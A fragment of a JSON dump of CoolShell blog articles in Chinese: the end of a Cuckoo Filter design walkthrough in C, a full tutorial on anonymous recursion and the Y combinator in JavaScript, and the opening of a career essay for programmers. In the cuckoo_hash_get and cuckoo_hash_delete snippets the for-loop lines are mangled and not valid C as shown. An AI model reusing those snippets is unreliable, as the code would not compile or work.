}\n}\n</pre>\n<p>下面是哈希函数的设计，这里有两个，前面提到既然key是20字节的SHA1值，我们就可以分别是对key的低32位和高32位进行位运算，只要bucket_num满足2的幂次方，我们就可以将key的一部分同bucket_num – 1相与，就可以定位到相应的bucket位置上，注意bucket_num随着rehash而增大，哈希函数简单的好处是求哈希值十分快。</p>\n<pre class=\"EnlighterJSRAW\">\n#define cuckoo_hash_lsb(key, count)  (((size_t *)(key))[0] &amp; (count - 1))\n#define cuckoo_hash_msb(key, count)  (((size_t *)(key))[1] &amp; (count - 1))\n</pre>\n<p>终于要讲解cuckoo filter最重要的三个操作了——查询、插入还有删除。查询操作是简单的，我们对传进来的参数key进行两次哈希求值tag[0]和tag[1]，并先用tag[0]定位到bucket的位置，从4路slot中再去对比tag[1]。只有比中了tag后，由于只是key的一部分，我们再去从flash中验证完整的key，并把数据在flash中的偏移值read_addr输出返回。相应的，如果bucket[tag[0]]的4路slot都没有比中，我们再去bucket[tag[1]]中比对（代码略），如果还比不中，可以肯定这个key不存在。<strong>这种设计的好处就是减少了不必要的flash读操作，每次比对的是内存中的tag而不需要完整的key。</strong></p>\n<pre class=\"EnlighterJSRAW\">static int cuckoo_hash_get(struct hash_table *table, uint8_t *key, uint8_t **read_addr)\n{\n    int i, j;\n    uint8_t *addr;\n    uint32_t tag[2], offset;\n    struct hash_slot_cache *slot;\n\n    tag[0] = cuckoo_hash_lsb(key, table-&gt;bucket_num);\n    tag[1] = cuckoo_hash_msb(key, table-&gt;bucket_num);\n\n    /* Filter the key and verify if it exists. */\n    slot = table-&amp;gt;buckets[tag[0]];\n    for (i = 0; i bucket_num) == slot[i].tag) {\n        if (slot[i].status == OCCUPIED) {\n            offset = slot[i].offset;\n            addr = key_verify(key, offset);\n            if (addr != NULL) {\n                if (read_addr != NULL) {\n                    *read_addr = addr;\n                }\n                break;\n            }\n        } else if (slot[i].status == DELETED) {\n            return DELETED;\n        }\n    }\n    ...\n}</pre>\n<p>接下来先将简单的删除操作，之所以简单是因为delete除了将相应slot的状态值设置一下之外，其实什么都没有干，也就是说它不会真正到flash里面去把数据清除掉。为什么？很简单，没有必要。还有一个原因，flash的写操作之前需要擦除整个页面，这种擦除是会折寿的，<strong>所以很多flash支持随机读，但必须保持顺序写。</strong></p>\n<pre class=\"EnlighterJSRAW\">static void cuckoo_hash_delete(struct hash_table *table, uint8_t *key)\n{\n    uint32_t i, j, tag[2];\n    struct hash_slot_cache *slot;\n\n    tag[0] = cuckoo_hash_lsb(key, table-&gt;bucket_num);\n    tag[1] = cuckoo_hash_msb(key, table-&gt;bucket_num);\n\n    slot = table-&gt;buckets[tag[0]];\n    for (i = 0; i bucket_num) == slot[i].tag) {\n        slot[i].status = DELETED;\n        return;\n    }\n    ...\n}</pre>\n<p>了解了flash的读写特性，你就知道为啥插入操作在flash层面要设计成append。不过我们这里不讨论过多flash细节，哈希表层面的插入逻辑其实跟查询差不多，我就不贴代码了。这里要贴的是如何判断并处理碰撞，其实这里也没啥玄机，就是用old_tag和old_offset保存一下临时变量，以便一个元素被踢出去之后还能找到备用的安身之所。但这里会有一个判断，每次踢人都会计数，当alt_cnt大于512时候表示哈希表真的快满了，这时候需要rehash了。</p>\n<pre class=\"EnlighterJSRAW\">static int cuckoo_hash_collide(struct hash_table *table, uint32_t *tag, uint32_t *p_offset)\n{\n    int i, j, k, alt_cnt;\n    uint32_t old_tag[2], offset, old_offset;\n    struct hash_slot_cache *slot;\n\n    /* Kick out the old bucket and move it to the alternative bucket. */\n    offset = *p_offset;\n    slot = table-&gt;buckets[tag[0]];\n    old_tag[0] = tag[0];\n    old_tag[1] = slot[0].tag;\n    old_offset = slot[0].offset;\n    slot[0].tag = tag[1];\n    slot[0].offset = offset;\n    i = 0 ^ 1;\n    k = 0;\n    alt_cnt = 0;\n\nKICK_OUT:\n    slot = table-&gt;buckets[old_tag[i]];\n    for (j = 0; j &lt; ASSOC_WAY; j++) {\n        if (offset == INVALID_OFFSET &amp;&amp; slot[j].status == DELETED) {\n            slot[j].status = OCCUPIED;\n            slot[j].tag = old_tag[i ^ 1];\n            *p_offset = offset = slot[j].offset;\n            break;\n        } else if (slot[j].status == AVAILIBLE) {\n            slot[j].status = OCCUPIED;\n            slot[j].tag = old_tag[i ^ 1];\n            slot[j].offset = old_offset;\n            break;\n        }\n    }\n\n    if (j == ASSOC_WAY) {\n        if (++alt_cnt &gt; 512) {\n            if (k == ASSOC_WAY - 1) {\n                /* Hash table is almost full and needs to be resized */\n                return 1;\n            } else {\n                k++;\n            }\n        }\n        uint32_t tmp_tag = slot[k].tag;\n        uint32_t tmp_offset = slot[k].offset;\n        slot[k].tag = old_tag[i ^ 1];\n        slot[k].offset = old_offset;\n        old_tag[i ^ 1] = tmp_tag;\n        old_offset = tmp_offset;\n        i ^= 1;\n        goto KICK_OUT;\n    }\n\n    return 0;\n}</pre>\n<p>rehash的逻辑也很简单，无非就是把哈希表中的buckets和slots重新realloc一下，空间扩展一倍，然后再从flash中的key重新插入到新的哈希表里去。这里有个陷阱要注意，<strong>千万不能有相同的key混进来！</strong>虽然cuckoo hashing不像开链法那样会退化成O(n)，但由于每个元素有两个哈希值，而且每次计算的哈希值随着哈希表rehash的规模而不同，相同的key并不能立即检测到冲突，但当相同的key达到一定规模后，噩梦就开始了，由于rehash里面有插入操作，一旦在这里触发碰撞，又会触发rehash，这时就是一个rehash不断递归的过程，由于其中老的内存没释放，新的内存不断重新分配，整个程序就如同陷入DoS攻击一般瘫痪了。<strong>所以每次插入操作前一定要判断一下key是否已经存在过，并且对rehash里的插入使用碰撞断言防止此类情况发生。</strong>笔者在测试中不幸中了这样的彩蛋，调试了大半天才搞清楚原因，搞IT的同学们记住一定要防小人啊~</p>\n<pre class=\"EnlighterJSRAW\">static void cuckoo_rehash(struct hash_table *table)\n{\n    ...\n    uint8_t *read_addr = nvrom_base_addr;\n    uint32_t entries = log_entries;\n    while (entries--) {\n        uint8_t key[20];\n        uint32_t offset = read_addr - nvrom_base_addr;\n        for (i = 0; i &amp;lt; 20; i++) {\n            key[i] = flash_read(read_addr);\n            read_addr++;\n        }\n        /* Duplicated keys in hash table which can cause eternal\n         * hashing collision! Be careful of that!\n         */\n        assert(!cuckoo_hash_put(table, key, &amp;offset));\n        if (cuckoo_hash_get(&amp;old_table, key, NULL) == DELETED) {\n            cuckoo_hash_delete(table, key);\n        }\n        read_addr += DAT_LEN;\n    }\n    ...\n}</pre>\n<p>到此为止代码的逻辑还是比较简单，使用效果如何呢？我来帮你找个大文件<a href=\"https://github.com/unqlite/unqlite/blob/master/unqlite.c\" target=\"_blank\">unqlite.c</a>测试一下，这是一个嵌入式数据库源代码，共59959行代码。作为需要导入的文件，编译我们的cuckoo filter，然后执行：</p>\n<p><code class=\"EnlighterJSRAW\">./cuckoo_db unqlite.c output.c</code></p>\n<p>你会发现生成output.c正好也是59959行代码，一分不差，probably yes终于变成了definitely yes。同时也可以看到，cuckoo filter真的很快！如果你想看hashing的整个过程，可以参照<a href=\"https://github.com/begeekmyfriend/CuckooFilter/blob/master/README.md\" target=\"_blank\">README</a>里把调试宏打开。最后，欢迎给<a href=\"https://github.com/begeekmyfriend/CuckooFilter\" target=\"_blank\">这个小玩意</a>提交PR！</p>\n<h4>参考资料</h4>\n<p>Cuckoo Filter的<a href=\"http://www.cs.cmu.edu/~binfan/papers/conext14_cuckoofilter.pdf\" target=\"_blank\">论文</a>和<a href=\"http://www.cs.cmu.edu/~binfan/papers/conext14_cuckoofilter.pptx\" target=\"_blank\">PPT</a>：Cuckoo Filter: Practically Better Than Bloom<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11847.html\"><img alt=\"谜题的答案和活动的心得体会\" height=\"150\" src=\"../wp-content/uploads/2014/08/puzzle-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11847.html\">谜题的答案和活动的心得体会</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11832.html\"><img alt=\"【活动】解迷题送礼物\" height=\"150\" src=\"../wp-content/uploads/2014/08/538efefbgw1eiz9cvx78fj20rm0fmdi8-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11832.html\">【活动】解迷题送礼物</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10590.html\"><img alt=\"二维码的生成细节和原理\" height=\"150\" src=\"../wp-content/uploads/2013/10/QR-Code-Overview-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10590.html\">二维码的生成细节和原理</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10427.html\"><img alt=\"伙伴分配器的一个极简实现\" height=\"150\" src=\"../wp-content/uploads/2013/10/buddy-memory-allocation-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10427.html\">伙伴分配器的一个极简实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9886.html\"><img alt=\"二叉树迭代器算法\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9886.html\">二叉树迭代器算法</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/17225.html\">Cuckoo Filter：设计与实现</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2016-10-23 如何读懂并写出装逼的函数式代码.html",
    "content": "<html><body><p><img alt=\"drawing-recursive\" class=\"alignright size-medium wp-image-17535\" height=\"204\" src=\"../wp-content/uploads/2016/10/drawing-recursive-300x204.jpg\" width=\"300\"/>今天在微博上看到了 有人<a href=\"http://weibo.com/1655747731/Ee4gU0qNn\" target=\"_blank\">分享了下面的这段函数式代码</a>，我把代码贴到下面，不过我对原来的代码略有改动，对于函数式的版本，咋一看，的确令人非常费解，仔细看一下，你可能就晕掉了，似乎完全就是天书，看上去非常装逼，哈哈。不过，我感觉解析那段函数式的代码可能会一个比较有趣过程，而且，我以前写过一篇《<a href=\"https://coolshell.cn/articles/10822.html\" target=\"_blank\">函数式编程</a>》的入门式的文章，正好可以用这个例子，再升华一下原来的那篇文章，顺便可以向大家更好的介绍很多基础知识，所以写下这篇文章。</p>\n<h4>先看代码</h4>\n<p>这个代码平淡无奇，就是从一个数组中找到一个数，O(n)的算法，找不到就返回 null。</p>\n<p>下面是正常的 old-school 的方式。不用多说。</p>\n<pre class=\"EnlighterJSRAW\">//正常的版本\nfunction find (x, y) {\n  for ( let i = 0; i &lt; x.length; i++ ) {\n    if ( x[i] == y ) return i;\n  }\n  return null;\n}\n\nlet arr = [0,1,2,3,4,5]\nconsole.log(find(arr, 2))\nconsole.log(find(arr, 8))</pre>\n<p>结果到了函数式成了下面这个样子（好像上面的那些代码在下面若影若现，不过又有点不太一样，为了消掉if语言，让其看上去更像一个表达式，动用了 ? 号表达式）：</p>\n<pre class=\"EnlighterJSRAW\">//函数式的版本\nconst find = ( f =&gt; f(f) ) ( f =&gt;\n  (next =&gt; (x, y, i = 0) =&gt;\n    ( i &gt;= x.length) ?  null :\n      ( x[i] == y ) ? i :\n        next(x, y, i+1))((...args) =&gt;\n          (f(f))(...args)))\n\nlet arr = [0,1,2,3,4,5]\nconsole.log(find(arr, 2))\nconsole.log(find(arr, 8))</pre>\n<p>为了讲清这个代码，需要先补充一些知识。</p>\n<p><span id=\"more-17524\"></span></p>\n<h4>Javascript的箭头函数</h4>\n<p>首先先简单说明一下，ECMAScript2015 引入的箭头表达式。箭头函数其实都是匿名函数，其基本语法如下：</p>\n<blockquote>\n<pre class=\"EnlighterJSRAW\">(param1, param2, …, paramN) =&gt; { statements } \n(param1, param2, …, paramN) =&gt; expression\n     // 等于 :  =&gt; { return expression; } \n\n// 只有一个参数时,括号才可以不加:\n(singleParam) =&gt; { statements }\nsingleParam =&gt; { statements }\n\n//如果没有参数,就一定要加括号:\n() =&gt; { statements }</pre>\n</blockquote>\n<p>下面是一些示例：</p>\n<pre class=\"EnlighterJSRAW\">var simple = a =&gt; a &gt; 15 ? 15 : a; \nsimple(16); // 15\nsimple(10); // 10\n\nlet max = (a, b) =&gt; a &gt; b ? a : b;\n\n// Easy array filtering, mapping, ...\n\nvar arr = [5, 6, 13, 0, 1, 18, 23];\nvar sum = arr.reduce((a, b) =&gt; a + b);  // 66\nvar even = arr.filter(v =&gt; v % 2 == 0); // [6, 0, 18]\nvar double = arr.map(v =&gt; v * 2);       // [10, 12, 26, 0, 2, 36, 46]</pre>\n<p>看上去不复杂吧。不过，上面前两个 simple 和 max 的例子都把这箭头函数赋值给了一个变量，于是它就有了一个名字。有时候，某些函数在声明的时候就是调用的时候，尤其是函数式编程中，一个函数还对外返回函数的时候。比如下在这个例子：</p>\n<pre class=\"EnlighterJSRAW\">function MakePowerFn(power) {\n  return function PowerFn(base) {\n    return Math.pow(base, power);\n  } \n}\n\npower3 = MakePowerFn(3); //制造一个X的3次方的函数\npower2 = MakePowerFn(2); //制造一个X的2次方的函数\n\nconsole.log(power3(10)); //10的3次方 = 1000\nconsole.log(power2(10)); //10的2次方 = 100</pre>\n<p>其实，在 MakePowerFn 函数里的那个 PowerFn 根本不需要命名，完全可以写成：</p>\n<pre class=\"EnlighterJSRAW\">function MakePowerFn(power) {\n  return function(base) {\n    return Math.pow(base, power);\n  } \n}</pre>\n<p>如果用箭头函数，可以写成：</p>\n<pre class=\"EnlighterJSRAW\">MakePowerFn = power  =&gt; {\n  return base =&gt; {\n    return Math.pow(base, power);\n  } \n}</pre>\n<p>我们还可以写得更简洁（如果用表达式的话，就不需要 { 和 }， 以及 return 语句 ）：</p>\n<p><code class=\"EnlighterJSRAW\">MakePowerFn = power =&gt; base =&gt; Math.pow(base, power)</code></p>\n<p>我还是加上括号，和换行可能会更清楚一些：</p>\n<pre class=\"EnlighterJSRAW\">MakePowerFn = (power) =&gt; (\n  (base) =&gt; (Math.pow(base, power))\n)</pre>\n<p>好了，有了上面的知识，我们就可以进入一个更高级的话题——匿名函数的递归。</p>\n<h4>匿名函数的递归</h4>\n<p>函数式编程立志于用函数表达式消除有状态的函数，以及for/while循环，所以，在函数式编程的世界里是不应该用for/while循环的，而要改用递归（递归的性能很差，所以，一般是用尾递归来做优化，也就是把函数的计算的状态当成参数一层一层的往下传递，这样语言的编译器或解释器就不需要用函数栈来帮你保存函数的内部变量的状态了）。</p>\n<p>好了，那么，匿名函数的递归该怎么做？</p>\n<p>一般来说，递归的代码就是函数自己调用自己，比如我们求阶乘的代码：</p>\n<pre class=\"EnlighterJSRAW\">\nfunction fact(n){\n  return n==0 ? 1 :  n * fact(n-1);\n};\nresult = fact(5);\n</pre>\n<p>在匿名函数下，这个递归该怎么写呢？对于匿名函数来说，<b>我们可以把匿名函数当成一个参数传给另外一个函数，因为函数的参数有名字，所以就可以调用自己了</b>。 如下所示：</p>\n<pre class=\"EnlighterJSRAW\">function combinator(func) {\n  func(func);\n}</pre>\n<p>这个是不是有点作弊的嫌疑？Anyway，我们再往下，把上面这个函数整成箭头函数式的匿名函数的样子。</p>\n<p><code class=\"EnlighterJSRAW\">（func) =&gt; (func(func)) </code></p>\n<p>现在你似乎就不像作弊了吧。把上面那个求阶乘的函数套进来是这个样子：</p>\n<p>首先，先重构一下fact，把fact中自己调用自己的名字去掉：</p>\n<pre class=\"EnlighterJSRAW\">function fact(func, n) {\n  return n==0 ? 1 :  n * func(func, n-1);\n}\n\nfact(fact, 5); //输出120\n</pre>\n<p>然后，我们再把上面这个版本变成箭头函数的匿名函数版：</p>\n<pre class=\"EnlighterJSRAW\">\nvar fact = (func, n) =&gt; ( n==0 ? 1 :  n * func(func, n-1) )\nfact(fact, 5)\n</pre>\n<p>这里，我们依然还要用一个fact来保存这个匿名函数，我们继续，我们要让匿名函数声明的时候，就自己调用自己。</p>\n<p>也就是说，我们要把 </p>\n<p><code class=\"EnlighterJSRAW\">(func, n) =&gt; ( n==0 ? 1 :  n * func(func, n-1) )</code> </p>\n<p>这个函数当成调用参数，传给下面这个函数：</p>\n<p><code class=\"EnlighterJSRAW\">(func, x) =&gt; func(func, x) </code></p>\n<p>最终我们得到下面的代码：</p>\n<pre class=\"EnlighterJSRAW\"> \n( (func, x) =&gt; func(func, x) ) (  //函数体\n  (func, n) =&gt; ( n==0 ? 1 :  n * func(func, n-1) ), //第一个调用参数\n  5 //第二调用参数\n); </pre>\n<p>好像有点绕，anyway, 你看懂了吗？没事，我们继续。</p>\n<h4>动用高阶函数的递归</h4>\n<p>但是上面这个递归的匿名函数在自己调用自己，所以，代码中有hard code的实参。我们想实参去掉，如何去掉呢？我们可以参考前面说过的那个 MakePowerFn 的例子，不过这回是递归版的高阶函数了。</p>\n<pre class=\"EnlighterJSRAW\">HighOrderFact = function(func){\n  return function(n){\n    return n==0 ? 1 : n * func(func)(n-1);\n  };\n};</pre>\n<p>我们可以看，上面的代码简单说来就是，<b>需要一个函数做参数，然后返回这个函数的递归版本</b>。那么，我们怎么调用呢？</p>\n<pre class=\"EnlighterJSRAW\">fact = HighOrderFact(HighOrderFact);\nfact(5); </pre>\n<p>连起来写就是：<br/>\n<code class=\"EnlighterJSRAW\">HighOrderFact ( HighOrderFact ) ( 5 )</code></p>\n<p>但是，这样让用户来调用很不爽，所以，以我们一个函数把 <b> HighOrderFact ( HighOrderFact ) </b> 给代理一下：</p>\n<pre class=\"EnlighterJSRAW\">fact = function ( hifunc ) {\n  return hifunc ( hifunc );\n} (\n  //调用参数是一个函数\n  function (func) { \n    return function(n){\n      return n==0 ? 1 : n * func(func)(n-1);\n    };\n  }\n);\n\nfact(5); //于是我们就可以直接使用了</pre>\n<p>用箭头函数重构一下，是不是简洁了一些？</p>\n<pre class=\"EnlighterJSRAW\">fact = (highfunc =&gt; highfunc ( highfunc ) ) (\n  func =&gt; n =&gt;  n==0 ? 1 : n * func(func)(n-1)\n);</pre>\n<p>上面就是我们最终版的阶乘的函数式代码。</p>\n<h4>回顾之前的程序</h4>\n<p>我们再来看那个查找数组的正常程序：</p>\n<pre class=\"EnlighterJSRAW\">//正常的版本\nfunction find (x, y) {\n  for ( let i = 0; i &lt; x.length; i++ ) {\n    if ( x[i] == y ) return i;\n  }\n  return null;\n}</pre>\n<p>先把for干掉，搞成递归版本：</p>\n<pre class=\"EnlighterJSRAW\">function find (x, y, i=0) {\n  if ( i &gt;= x.length ) return null;\n  if ( x[i] == y ) return i;\n  return find(x, y, i+1);\n}</pre>\n<p>然后，写出带实参的匿名函数的版本（注：其中的if代码被重构成了 ？号表达式）：</p>\n<pre class=\"EnlighterJSRAW\">( (func, x, y, i) =&gt; func(func, x, y, i) ) (  //函数体\n  (func, x, y, i=0) =&gt; (\n      i &gt;= x.length ?  null :\n         x[i] == y  ?  i : func (func, x, y, i+1)\n  ), //第一个调用参数\n  arr, //第二调用参数\n  2 //第三调用参数\n)</pre>\n<p>最后，引入高阶函数，去除实参：</p>\n<pre class=\"EnlighterJSRAW\">const find = ( highfunc =&gt; highfunc( highfunc ) ) (\n   func =&gt; (x, y, i = 0) =&gt; (\n     i &gt;= x.length ?  null :\n           x[i] == y  ?  i : func (func) (x, y, i+1)\n   )\n);</pre>\n<p>注：函数式编程装逼时一定要用const字符，这表示我写的函数里的状态是 immutable 的，天生骄傲！</p>\n<p>再注：我写的这个比原来版的那个简单了很多，原来版本的那个又在函数中套了一套 next， 而且还动用了不定参数，当然，如果你想装逼装到天上的，理论上来说，你可以套N层，呵呵。</p>\n<p><b>现在，你可以体会到，如此逼装的是怎么来的了吧？</b>。</p>\n<h4>其它</h4>\n<p>你还别说这就是装逼，简单来说，我们可以使用数学的方式来完成对复杂问题的描述，那怕是递归。其实，这并不是新鲜的东西，这是Alonzo Church 和 Haskell Curry 上世纪30年代提出来的东西，这个就是 Y Combinator 的玩法，关于这个东西，你可以看看下面两篇文章：</p>\n<p>《<a href=\"http://mvanier.livejournal.com/2897.html\" target=\"_blank\">The Y Combinator (Slight Return)</a>》，</p>\n<p>《<a href=\"https://en.wikipedia.org/wiki/Fixed-point_combinator\" target=\"_blank\">Wikipedia: Fixed-point combinator</a>》</p>\n<p>（全文完）</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10822.html\"><img alt=\"函数式编程\" height=\"150\" src=\"../wp-content/uploads/2013/12/yoda-lambda-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10822.html\">函数式编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21164.html\"><img alt=\"Go编程模式：Map-Reduce\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.map_.reduce-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21164.html\">Go编程模式：Map-Reduce</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21146.html\"><img alt=\"Go 编程模式：Functional Options\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.options-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21146.html\">Go 编程模式：Functional Options</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17929.html\"><img alt=\"Go编程模式：修饰器\" height=\"150\" src=\"../wp-content/uploads/2017/06/go-hardhat-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17929.html\">Go编程模式：修饰器</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17634.html\"><img alt=\"Chrome开发者工具的小技巧\" height=\"150\" src=\"../wp-content/uploads/2017/01/pretty-code-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17634.html\">Chrome开发者工具的小技巧</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/17524.html\">如何读懂并写出装逼的函数式代码</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2016-12-28 技术人员的发展之路.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright size-sup_wechat_big wp-image-17587\" height=\"200\" src=\"../wp-content/uploads/2016/12/people-360x200.jpg\" width=\"360\"/>2012年的时候写过一篇叫《<a href=\"https://coolshell.cn/articles/8790.html\" target=\"_blank\">程序算法与人生选择</a>》的文章，我用算法来类比如何做选择，说白了就是怎么去计算，但是并没有讲程序员可以发展的方向有哪些。 所以，就算是有这些所谓的方法论，我们可能对自己的发展还是会很纠结和无所事从，尤其是人到了30岁，这种彷徨和迷惑越来越重。虽然我之前也写过一篇《<a href=\"https://coolshell.cn/articles/10688.html\" target=\"_blank\">编程年龄和编程技能</a>》的文章，但是还是有很多做技术的人对于自己能否在年纪大时还能去做技术感到没有信心。我猜测，这其中，最大的问题的是，目前从事技术工作的种种负面的经历（比如经常性的加班，被当成棋子或劳动力等等），让人完全看不到希望和前途，尤其是随着年纪越来越大，对未来的越来越没有信心。</p>\n<p>同时，也是因为在GIAC的大会被问到，程序员老了怎么办？而在年底这段时间，也和几个朋友在交流中不断地重复谈到个人发展的这个话题。我的人生过半，活到“不惑”的年纪，自然经常性的对什么事都会回头看看总结归纳，所以，在交谈过程中和交谈过后，自己也有一些思考想记录下来。因为我本人也是在这条路上的人，所以，谈不上给他人指导，我同样也是在瞎乱折腾同样每天在思考自己要去哪儿的“一尘世间迷途老生”。况且，我的经历和眼界非常有限，因此，下面的这些关于个人发展的文字和思考必然是受我的眼界和经历所局限的。也欢迎大家补充和指正。</p>\n<p>这些东西不一定对，也不一定就是全部，期许可以让你在年底的时候有所思考，在明年的时候有所计划。</p>\n<h4>一个重要阶段和标志</h4>\n<p>在讲个人发展之前，我需要先说一下人生中的一个非常重要的阶段——<strong>20到30岁！</strong></p>\n<p><strong>这个阶段的首要任务，就是提升自己学习能力和解决难题的能力。</strong><strong>这是一个非常非常关键的时间段！这个时间段几乎决定着你的未来。</strong></p>\n<p><span id=\"more-17583\"></span></p>\n<p>30岁以前，这个时间段，应该是人学习和积累的时间段，这个时间段，就是努力学习的时间段。这个时间段，你一定要把时间花在解决问题的技能上。就是说，你一定要练就成的技能是——你能解决大多数人不能解决的问题。使蛮力埋头加班苦干，当一个搬砖老黄牛的是肯定没有前途的。如果你不幸呆在了一个搬砖的地方，天天被业务压得喘不过气来，我建议你宁可让你的项目延期被老板骂，也要把时间挤出来努力学习基础知识，多掌握一些技术（很多技术在思路上是相通的），然后才能有机会改变自己目前的状况。因为，比起你的个人未来，项目延期被老板骂、绩效不好拿不到奖金，都不是什么事儿。</p>\n<p>总结一下，你在30岁前，工作5-7年，你需要拥有：</p>\n<ul>\n<li><strong>高效的学习能力</strong>。这意味着——基础知识扎实、触类旁通、读英文文档不费劲、有寻找前沿知识的能力、能够看到问题和技术的本质、善于思辩、能独立思考。</li>\n</ul>\n<ul>\n<li><strong>解决问题的能力</strong>。这意味着——你要高效的学习能力、见过很多的场景、犯过或是处理很多错误、能够防火而不是救火。</li>\n</ul>\n<p>如果你拥有这两个能力的现象是—— <strong>在团队或身边的人群中的显现出Leadership</strong>。</p>\n<p>Leadership并不是当领导和经理，而是一种特征，这种特征有如下两个简单的表象：</p>\n<ul>\n<li><strong>帮人解问题</strong>。团队或身边中大多数人都在问：“这问题怎么办？”，而总是你能站出来告诉大家这事该怎么办？</li>\n</ul>\n<ul>\n<li><strong>被人所依赖</strong>。团队或身边中大多数人在做比较关键的决定时，都会来找你咨询你的意见和想法。</li>\n</ul>\n<p>一但你在在30岁之间出现了Leadership这样的特征，那么，你会进入一个正循环的阶段：</p>\n<ul>\n<li>因为你学习能力强，所以，你会有更多的机会解决难题。</li>\n<li>你有更多的机会解决难题，你就会学更多的东西，于是你就会更强。</li>\n<li>上面这个循环，只要循环上几年，就会让你人生的各种可能性大大的增加。</li>\n</ul>\n<p><strong>【 注意 